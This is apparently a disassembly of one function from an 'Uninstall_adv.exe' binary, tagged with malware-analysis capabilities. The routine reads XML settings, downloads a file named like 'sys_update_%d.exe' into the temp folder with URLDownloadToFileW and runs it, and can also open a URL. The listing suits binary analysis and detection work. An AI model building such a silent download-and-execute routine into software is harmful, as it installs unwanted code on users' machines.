Function at 0x451730
Capabilities:
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x460391
mov eax, dword fs:[0]
push eax
sub esp, 0xa30
mov eax, dword [0x48200c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xa1c], ecx
push str.Setup
mov ecx, dword [ebp - 0xa1c]
add ecx, 0x45c
call sym.Uninstall_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeCount_wchar_t_const__
mov dword [ebp - 0xa38], eax
mov dword [ebp - 0xa20], 0x800
lea ecx, [ebp - 0xa24]
call fcn.00406e20
mov dword [ebp - 4], 0
lea eax, [ebp - 0xa18]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [ebp - 0xa28], 0
mov dword [ebp - 0xa2c], 0
jmp 0x4517d0
mov ecx, dword [ebp - 0xa2c]
add ecx, 1
mov dword [ebp - 0xa2c], ecx
mov edx, dword [ebp - 0xa2c]
cmp edx, dword [ebp - 0xa38]
jge 0x451a54
mov eax, dword [ebp - 0xa20]
push eax
push 0
lea ecx, [ebp - 0x810]
push ecx
call fcn.0041fb70
add esp, 0xc
lea edx, [ebp - 0xa28]
push edx
lea eax, [ebp - 0x810]
push eax
push str.CheckY
mov ecx, dword [ebp - 0xa1c]
add ecx, 0x45c
call sym.Uninstall_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t___int__
lea ecx, [ebp - 0x810]
push ecx
call sym.Uninstall_adv.exe_int___cdecl_CheckInstalled_wchar_t_const__
add esp, 4
test eax, eax
je 0x451833
jmp 0x4517c1
mov edx, dword [ebp - 0xa20]
push edx
push 0
lea eax, [ebp - 0x810]
push eax
call fcn.0041fb70
add esp, 0xc
lea ecx, [ebp - 0xa28]
push ecx
lea edx, [ebp - 0x810]
push edx
push str.CheckN
mov ecx, dword [ebp - 0xa1c]
add ecx, 0x45c
call sym.Uninstall_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t___int__
lea eax, [ebp - 0x810]
push eax
call sym.Uninstall_adv.exe_int___cdecl_CheckInstalled_wchar_t_const__
add esp, 4
test eax, eax
je 0x451887
jmp 0x4517c1
mov ecx, dword [ebp - 0xa20]
push ecx
push 0
lea edx, [ebp - 0x810]
push edx
call fcn.0041fb70
add esp, 0xc
lea eax, [ebp - 0xa28]
push eax
lea ecx, [ebp - 0x810]
push ecx
push str.WebPath
mov ecx, dword [ebp - 0xa1c]
add ecx, 0x45c
call sym.Uninstall_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t___int__
lea edx, [ebp - 0x810]
push edx
lea ecx, [ebp - 0xa30]
call fcn.00406d40
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0xa20]
push eax
push 0
lea ecx, [ebp - 0x810]
push ecx
call fcn.0041fb70
add esp, 0xc
lea edx, [ebp - 0xa28]
push edx
lea eax, [ebp - 0x810]
push eax
push str.SaveName
mov ecx, dword [ebp - 0xa1c]
add ecx, 0x45c
call sym.Uninstall_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t___int__
lea ecx, [ebp - 0x810]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x45194a
lea edx, [ebp - 0x810]
push edx
lea eax, [ebp - 0xa18]
push eax
push str._s_s
lea ecx, [ebp - 0xa24]
push ecx
call fcn.004075a0
add esp, 0x10
jmp 0x45196c
mov edx, dword [ebp - 0xa2c]
push edx
lea eax, [ebp - 0xa18]
push eax
push str._s_sys_update__d.exe
lea ecx, [ebp - 0xa24]
push ecx
call fcn.004075a0
add esp, 0x10
push 0x47342c
push 0x473430
lea ecx, [ebp - 0xa24]
call fcn.0040fa30
push 0
push 0
lea ecx, [ebp - 0xa24]
call fcn.00406e70
push eax
lea ecx, [ebp - 0xa30]
call fcn.00406e70
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov dword [ebp - 0xa3c], eax
cmp dword [ebp - 0xa3c], 0
jne 0x451a40
mov edx, dword [ebp - 0xa20]
push edx
push 0
lea eax, [ebp - 0x810]
push eax
call fcn.0041fb70
add esp, 0xc
lea ecx, [ebp - 0xa28]
push ecx
lea edx, [ebp - 0x810]
push edx
push str.Params
mov ecx, dword [ebp - 0xa1c]
add ecx, 0x45c
call sym.Uninstall_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t___int__
lea eax, [ebp - 0x810]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x451a26
push 5
push 0
lea ecx, [ebp - 0x810]
push ecx
lea ecx, [ebp - 0xa24]
call fcn.00406e70
push eax
call sym.Uninstall_adv.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
jmp 0x451a40
push 5
push 0
push 0
lea ecx, [ebp - 0xa24]
call fcn.00406e70
push eax
call sym.Uninstall_adv.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xa30]
call fcn.00406d00
jmp 0x4517c1
mov edx, dword [ebp - 0xa20]
push edx
push 0
lea eax, [ebp - 0x810]
push eax
call fcn.0041fb70
add esp, 0xc
lea ecx, [ebp - 0x810]
push ecx
push str.showmsg
mov ecx, dword [ebp - 0xa1c]
add ecx, 0x45c
call sym.Uninstall_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t__
lea edx, [ebp - 0x810]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x451b11
lea eax, [ebp - 0x810]
push eax
lea ecx, [ebp - 0xa34]
call fcn.00406d40
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0xa20]
push ecx
push 0
lea edx, [ebp - 0x810]
push edx
call fcn.0041fb70
add esp, 0xc
lea eax, [ebp - 0x810]
push eax
push str.showtitle
mov ecx, dword [ebp - 0xa1c]
add ecx, 0x45c
call sym.Uninstall_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t__
push 0
lea ecx, [ebp - 0x810]
push ecx
lea ecx, [ebp - 0xa34]
call fcn.00406e70
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xa34]
call fcn.00406d00
mov edx, dword [ebp - 0xa20]
push edx
push 0
lea eax, [ebp - 0x810]
push eax
call fcn.0041fb70
add esp, 0xc
lea ecx, [ebp - 0x810]
push ecx
push str.showurl
mov ecx, dword [ebp - 0xa1c]
add ecx, 0x45c
call sym.Uninstall_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t__
lea edx, [ebp - 0x810]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x451b71
push 5
push 0
push 0
lea eax, [ebp - 0x810]
push eax
push 0x47347c
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa24]
call fcn.00406d00
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041e140
mov esp, ebp
pop ebp
ret